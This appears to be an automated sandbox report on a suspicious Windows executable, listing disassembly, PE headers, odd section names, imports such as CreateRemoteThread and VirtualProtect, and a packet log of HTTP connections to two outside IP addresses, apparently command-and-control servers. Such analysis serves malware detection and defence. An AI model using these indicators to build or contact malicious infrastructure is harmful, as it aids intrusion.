xor dword ptr [ebp-08h], eax
xor eax, ebp
push eax
lea eax, dword ptr [ebp-10h]
mov dword ptr fs:[00000000h], eax
mov dword ptr [ebp-18h], esp
mov dword ptr [ebp-70h], 00000000h
mov dword ptr [ebp-04h], 00000000h
lea eax, dword ptr [ebp-60h]
push eax
call dword ptr [004010A0h]
mov dword ptr [ebp-04h], FFFFFFFEh
jmp 00007F67B456C298h
mov eax, 00000001h
ret
mov esp, dword ptr [ebp-18h]
mov dword ptr [ebp-78h], 000000FFh
mov dword ptr [ebp-04h], FFFFFFFEh
mov eax, dword ptr [ebp-78h]
jmp 00007F67B456C3C7h
mov dword ptr [ebp-04h], FFFFFFFEh
call 00007F67B456C404h
mov dword ptr [ebp-6Ch], eax
push 00000001h
call 00007F67B4579B8Ah
add esp, 04h
test eax, eax
jne 00007F67B456C27Ch
push 0000001Ch
call 00007F67B456C3BCh
add esp, 04h
call 00007F67B4575364h
test eax, eax
jne 00007F67B456C27Ch
push 00000010h

Rich Headers

Programming Language:

[ C ] VS2008 build 21022
[IMP] VS2005 build 50727
[ASM] VS2008 build 21022
[LNK] VS2008 build 21022
[RES] VS2008 build 21022
[C++] VS2008 build 21022

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x3e354	0x28	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x150000	0x83b8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x159000	0x1dfc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x1390	0x1c	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x9100	0x40	.text
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x1000	0x344	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x3e6ce	0x3e800	False	0.582125	data	6.96344242356	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.data	0x40000	0x10c988	0x1800	False	0.340657552083	data	3.46395750767	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.zas	0x14d000	0x5	0x200	False	0.02734375	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.give	0x14e000	0xea	0x200	False	0.02734375	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.riyevol	0x14f000	0xd93	0xe00	False	0.00697544642857	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.rsrc	0x150000	0x83b8	0x8400	False	0.597271543561	data	5.82672582834	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x159000	0x4658	0x4800	False	0.346462673611	data	3.68432452042	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
AFX_DIALOG_LAYOUT	0x156ce8	0x2	data	Dutch	Netherlands
AFX_DIALOG_LAYOUT	0x156ce0	0x2	data	Dutch	Netherlands
AFX_DIALOG_LAYOUT	0x156cf0	0x2	data	Dutch	Netherlands
AFX_DIALOG_LAYOUT	0x156cf8	0x2	data	Dutch	Netherlands
CIDAFICUDUROSOTAROM	0x1565c8	0x6c7	ASCII text, with very long lines, with no line terminators	Spanish	Colombia
RT_CURSOR	0x156d00	0x8a8	dBase III DBT, version number 0, next free block index 40, 1st item "\251\317"	Dutch	Netherlands
RT_ICON	0x1506e0	0x6c8	data	Spanish	Colombia
RT_ICON	0x150da8	0x568	GLS_BINARY_LSB_FIRST	Spanish	Colombia
RT_ICON	0x151310	0x10a8	data	Spanish	Colombia
RT_ICON	0x1523b8	0x988	dBase III DBT, version number 0, next free block index 40	Spanish	Colombia
RT_ICON	0x152d40	0x468	GLS_BINARY_LSB_FIRST	Spanish	Colombia
RT_ICON	0x1531f8	0x8a8	data	Spanish	Colombia
RT_ICON	0x153aa0	0x6c8	data	Spanish	Colombia
RT_ICON	0x154168	0x568	GLS_BINARY_LSB_FIRST	Spanish	Colombia
RT_ICON	0x1546d0	0x10a8	data	Spanish	Colombia
RT_ICON	0x155778	0x988	data	Spanish	Colombia
RT_ICON	0x156100	0x468	GLS_BINARY_LSB_FIRST	Spanish	Colombia
RT_STRING	0x1575c0	0xe4	data	Dutch	Netherlands
RT_STRING	0x1576a8	0x3a8	data	Dutch	Netherlands
RT_STRING	0x157a50	0x6e6	data	Dutch	Netherlands
RT_STRING	0x158138	0x1a0	data	Dutch	Netherlands
RT_STRING	0x1582d8	0xdc	data	Dutch	Netherlands
RT_ACCELERATOR	0x156ca0	0x10	data	Dutch	Netherlands
RT_ACCELERATOR	0x156c90	0x10	data	Dutch	Netherlands
RT_GROUP_CURSOR	0x1575a8	0x14	data	Dutch	Netherlands
RT_GROUP_ICON	0x1531a8	0x4c	data	Spanish	Colombia
RT_GROUP_ICON	0x156568	0x5a	data	Spanish	Colombia
None	0x156cc0	0xa	data	Dutch	Netherlands
None	0x156cd0	0xa	data	Dutch	Netherlands
None	0x156cb0	0xa	data	Dutch	Netherlands

Imports

DLL

Import

KERNEL32.dll

CallNamedPipeW, TerminateProcess, GetExitCodeProcess, GetVersionExW, SetConsoleCP, GetConsoleAliasesLengthA, GetDefaultCommConfigW, FindFirstFileExW, GetDriveTypeA, FreeEnvironmentStringsA, SetProcessPriorityBoost, SetVolumeMountPointW, GetLongPathNameW, CopyFileA, TlsGetValue, SetConsoleCursorInfo, SetComputerNameExA, SystemTimeToTzSpecificLocalTime, FindAtomA, ReleaseSemaphore, CallNamedPipeA, CreateMailslotA, BuildCommDCBAndTimeoutsW, VirtualProtect, LoadLibraryA, LocalAlloc, TryEnterCriticalSection, GetCommandLineW, InterlockedDecrement, GetCalendarInfoA, DeleteFileA, CreateActCtxW, CreateRemoteThread, SetSystemTimeAdjustment, SetPriorityClass, WritePrivateProfileStringA, GetProcessHeaps, GetProcessHeap, GlobalUnWire, ReadConsoleOutputCharacterW, GetStartupInfoW, GetDiskFreeSpaceExA, GetCPInfoExA, GetWindowsDirectoryW, GetSystemWow64DirectoryW, GetLastError, WriteProfileSectionW, GetProfileStringA, GetConsoleCursorInfo, SetLastError, DeleteVolumeMountPointA, DebugBreak, lstrcmpA, ReadFileScatter, SetConsoleMode, GetVersion, GetSystemWindowsDirectoryW, GlobalFindAtomA, FindCloseChangeNotification, GetTapeParameters, SetMailslotInfo, InterlockedExchange, DefineDosDeviceW, FindVolumeMountPointClose, EndUpdateResourceW, WriteConsoleW, GetSystemTimeAdjustment, WritePrivateProfileSectionA, GetPrivateProfileStructW, GetFileAttributesExA, MoveFileW, GetVolumePathNameA, HeapUnlock, lstrcmpW, SetDefaultCommConfigW, FindActCtxSectionStringA, ResetEvent, GetThreadContext, MoveFileExW, GetProcAddress, GlobalLock, UnregisterWaitEx, BuildCommDCBW, PeekConsoleInputW, GetBinaryTypeW, CreateSemaphoreW, TransmitCommChar, WaitNamedPipeA, GetPrivateProfileSectionNamesW, FindResourceExW, EnumTimeFormatsW, GetLocalTime, CreateSemaphoreA, FreeEnvironmentStringsW, GetPrivateProfileSectionW, GetOverlappedResult, SetFileShortNameW, lstrcpyA, VerLanguageNameW, SetThreadExecutionState, SetSystemTime, LockFile, VerSetConditionMask, GetConsoleAliasA, FlushConsoleInputBuffer, FreeConsole, GetAtomNameW, GetConsoleAliasExesLengthA, WriteConsoleInputW, TransactNamedPipe, EnumDateFormatsA, SetCommState, FileTimeToLocalFileTime, _lopen, GetConsoleAliasExesLengthW, GetWriteWatch, GetModuleHandleW, WriteConsoleOutputCharacterA, GetConsoleMode, HeapFree, OpenMutexA, LocalLock, GetCommMask, SetEndOfFile, FindClose, CreateIoCompletionPort, SetFileApisToANSI, CancelWaitableTimer, GetProcessHandleCount, UnregisterWait, GetConsoleAliasesLengthW, GetProcessVersion, lstrcpynA, SetNamedPipeHandleState, GetCompressedFileSizeA, FindNextVolumeMountPointW, GetFullPathNameA, WriteProfileStringA, DeleteAtom, GlobalAddAtomW, AssignProcessToJobObject, QueryDosDeviceW, InitializeCriticalSection, Process32NextW, SetCurrentDirectoryA, GetBinaryTypeA, MoveFileA, RaiseException, HeapValidate, IsBadReadPtr, DeleteCriticalSection, EnterCriticalSection, LeaveCriticalSection, GetModuleFileNameW, GetModuleHandleA, GetCurrentProcess, UnhandledExceptionFilter, SetUnhandledExceptionFilter, IsDebuggerPresent, InterlockedIncrement, GetACP, GetOEMCP, GetCPInfo, IsValidCodePage, TlsAlloc, TlsSetValue, GetCurrentThreadId, TlsFree, Sleep, ExitProcess, SetHandleCount, GetStdHandle, GetFileType, GetStartupInfoA, QueryPerformanceCounter, GetTickCount, GetCurrentProcessId, GetSystemTimeAsFileTime, GetEnvironmentStringsW, HeapDestroy, HeapCreate, VirtualFree, GetModuleFileNameA, WriteFile, HeapAlloc, HeapSize, HeapReAlloc, VirtualAlloc, RtlUnwind, InitializeCriticalSectionAndSpinCount, OutputDebugStringA, OutputDebugStringW, LoadLibraryW, MultiByteToWideChar, GetStringTypeA, GetStringTypeW, WideCharToMultiByte, LCMapStringA, LCMapStringW, GetLocaleInfoA, SetFilePointer, GetConsoleCP, FlushFileBuffers, SetStdHandle, WriteConsoleA, GetConsoleOutputCP, CloseHandle, CreateFileA

Possible Origin

Language of compilation system	Country where language is spoken	Map
Dutch	Netherlands
Spanish	Colombia

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 14, 2022 12:29:11.804500103 CET	49778	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:11.822792053 CET	80	49778	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:11.822952986 CET	49778	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:11.823373079 CET	49778	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:11.823447943 CET	49778	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:11.840742111 CET	80	49778	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:11.840759993 CET	80	49778	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:11.953190088 CET	80	49778	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:11.953313112 CET	49778	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:11.954265118 CET	49778	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:11.974081993 CET	80	49778	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:12.275722980 CET	49779	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:12.293191910 CET	80	49779	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:12.293441057 CET	49779	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:12.293633938 CET	49779	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:12.293658972 CET	49779	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:12.310903072 CET	80	49779	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:12.418447971 CET	80	49779	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:12.418611050 CET	49779	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:12.419019938 CET	49779	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:12.436286926 CET	80	49779	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:12.451116085 CET	49780	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:12.468374014 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:12.468473911 CET	49780	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:12.468575954 CET	49780	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:12.468583107 CET	49780	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:12.485862970 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:12.587656975 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:12.587778091 CET	49780	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:12.588223934 CET	49780	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:12.605377913 CET	80	49780	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:12.944576025 CET	49781	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:12.961906910 CET	80	49781	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:12.961988926 CET	49781	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:12.962191105 CET	49781	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:12.962208986 CET	49781	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:12.979243994 CET	80	49781	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:13.081617117 CET	80	49781	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:13.081634998 CET	80	49781	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:13.081702948 CET	49781	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:13.082015038 CET	49781	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:13.099102020 CET	80	49781	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:13.412636995 CET	49782	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:13.429912090 CET	80	49782	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:13.430025101 CET	49782	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:13.430151939 CET	49782	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:13.430171967 CET	49782	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:13.447305918 CET	80	49782	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:13.554048061 CET	80	49782	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:13.554451942 CET	49782	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:13.554469109 CET	49782	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:13.571698904 CET	80	49782	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:13.584171057 CET	49783	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:13.601548910 CET	80	49783	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:13.602407932 CET	49783	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:13.602489948 CET	49783	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:13.602504015 CET	49783	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:13.619770050 CET	80	49783	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:13.726735115 CET	80	49783	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:13.727262974 CET	49783	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:13.727483988 CET	49783	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:13.735378981 CET	49784	80	192.168.2.4	185.186.142.166
Jan 14, 2022 12:29:13.744626045 CET	80	49783	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:13.791928053 CET	80	49784	185.186.142.166	192.168.2.4
Jan 14, 2022 12:29:14.302527905 CET	49784	80	192.168.2.4	185.186.142.166
Jan 14, 2022 12:29:14.359100103 CET	80	49784	185.186.142.166	192.168.2.4
Jan 14, 2022 12:29:14.865107059 CET	49784	80	192.168.2.4	185.186.142.166
Jan 14, 2022 12:29:14.921706915 CET	80	49784	185.186.142.166	192.168.2.4
Jan 14, 2022 12:29:15.262820005 CET	49785	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:15.280236959 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:15.280334949 CET	49785	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:15.280463934 CET	49785	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:15.280479908 CET	49785	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:15.297588110 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:15.419229031 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:15.419337034 CET	49785	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:15.419637918 CET	49785	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:15.436743975 CET	80	49785	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:15.447879076 CET	49786	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:15.465063095 CET	80	49786	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:15.465157032 CET	49786	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:15.465264082 CET	49786	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:15.465290070 CET	49786	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:15.482394934 CET	80	49786	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:15.582700014 CET	80	49786	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:15.582720041 CET	80	49786	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:15.582781076 CET	49786	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:15.583050013 CET	49786	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:15.600171089 CET	80	49786	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:15.881963968 CET	49787	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:15.899432898 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:15.899548054 CET	49787	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:15.899692059 CET	49787	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:15.957561970 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.000572920 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.000614882 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.000653028 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.000673056 CET	49787	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:16.000693083 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.000731945 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.000754118 CET	49787	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:16.000772953 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.000812054 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.000827074 CET	49787	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:16.000852108 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.000893116 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.000909090 CET	49787	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:16.000931978 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.000981092 CET	49787	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:16.018234968 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.040267944 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.040313005 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.040327072 CET	49787	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:16.040350914 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.040390968 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.040406942 CET	49787	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:16.040432930 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.040472031 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.040488005 CET	49787	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:16.040512085 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.040550947 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.040565968 CET	49787	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:16.040606022 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.040644884 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.040658951 CET	49787	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:16.040684938 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.040725946 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.040739059 CET	49787	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:16.040767908 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.040808916 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.040822029 CET	49787	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:16.040848017 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.040888071 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.040899992 CET	49787	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:16.040927887 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.040966034 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.040982008 CET	49787	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:16.041006088 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.041054010 CET	49787	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:16.058409929 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.058461905 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.058499098 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.058532953 CET	49787	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:16.079699993 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.079746962 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.079771996 CET	49787	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:16.079792023 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.079832077 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.079845905 CET	49787	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:16.079874039 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.079914093 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.079922915 CET	49787	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:16.080001116 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.080043077 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.080055952 CET	49787	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:16.080082893 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.080133915 CET	49787	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:16.080147028 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.080188990 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.080228090 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.080239058 CET	49787	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:16.080265999 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.080305099 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.080317974 CET	49787	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:16.080347061 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.080388069 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.080403090 CET	49787	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:16.080434084 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.080471992 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.080485106 CET	49787	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:16.080513000 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.080553055 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.080564976 CET	49787	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:16.080590963 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.080630064 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.080637932 CET	49787	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:16.080672026 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.080712080 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.080727100 CET	49787	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:16.080754042 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.080791950 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.080805063 CET	49787	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:16.080832958 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.080873013 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.080885887 CET	49787	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:16.080914021 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.080952883 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.080966949 CET	49787	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:16.080993891 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.081033945 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.081041098 CET	49787	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:16.081077099 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.081115007 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.081129074 CET	49787	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:16.081156969 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.081197023 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.081208944 CET	49787	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:16.081235886 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.081274986 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.081289053 CET	49787	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:16.098649025 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.098781109 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.098822117 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.098829031 CET	49787	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:16.098875999 CET	49787	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:16.098886013 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.098926067 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.098958015 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.098983049 CET	49787	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:16.119544029 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.119587898 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.119613886 CET	49787	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:16.119626045 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.119667053 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.119683027 CET	49787	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:16.119709015 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.119748116 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.119762897 CET	49787	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:16.119788885 CET	80	49787	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:16.119828939 CET	80	49787	8.209.70.0	192.168.2.4
